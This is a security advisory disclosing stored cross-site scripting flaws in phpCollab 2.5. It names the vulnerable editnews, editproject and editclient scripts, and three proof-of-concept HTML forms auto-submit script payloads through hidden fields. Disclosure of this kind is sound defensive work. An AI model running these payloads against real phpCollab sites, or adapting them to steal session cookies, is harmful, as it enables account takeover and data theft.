HTB22917: XSS vulnerabilities in phpCollab



Vulnerability ID: HTB22917
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpcollab.html
Product: phpCollab
Vendor: phpCollab Team ( http://www.php-collab.org/ )
Vulnerable Version: 2.5 and probably prior versions
Vendor Notification: 24 March 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "newsdesk/editnews.php", "projects/editproject.php", "clients/editclient.php" scripts to properly sanitize user-supplied input in "links", "url_dev", "url" variables. Successful exploitation of this vulnerabilities could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

<form action="http://host/newsdesk/editnews.php?id=NEWSID&action=update"; method="post">
<input type="hidden" name="author" value="1">
<input type="hidden" name="title" value="news2">
<input type="hidden" name="related" value="g">
<input type="hidden" name="content" value="hello2">
<input type="hidden" name="links" value='2"><script>alert(document.cookie)</script>'>
<input type="hidden" name="rss" value="1">
<input type="submit" id="btn" name="submit" value="Save">
</form>
<script>
document.getElementById('btn').click();
</script>


2.

<form action="http://host/projects/editproject.php?id=1&action=update&docopy=false"; method="post" name="main">
<input type="hidden" name="projectPublished" value="1">
<input type="hidden" name="pn" value="project name">
<input type="hidden" name="pr" value="3">
<input type="hidden" name="d" value="description">
<input type="hidden" name="url_dev" value='site"><script>alert(document.cookie)</script>'>
<input type="hidden" name="url_prod" value="">
<input type="hidden" name="pown" value="1">
<input type="hidden" name="clod" value="1">
<input type="hidden" name="thisPhase" value="0">
<input type="hidden" name="st" value="2">
<input type="hidden" name="up" value="51200">
<input type="hidden" name="hourly_rate" value="200.00">
</form>
<script>
document.main.submit();
</script>


3.

<form action="http://host/clients/editclient.php?id=CLIENTID&action=update"; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="100000000">
<input type="hidden" name="cn" value="client">
<input type="hidden" name="add" value="">
<input type="hidden" name="client_phone" value="">
<input type="hidden" name="url" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="">
<input type="hidden" name="comments" value="">
<input type="hidden" name="hourly_rate" value="0.00">
<input type="hidden" name="upload" value="">
</form>
<script>
document.main.submit();
</script>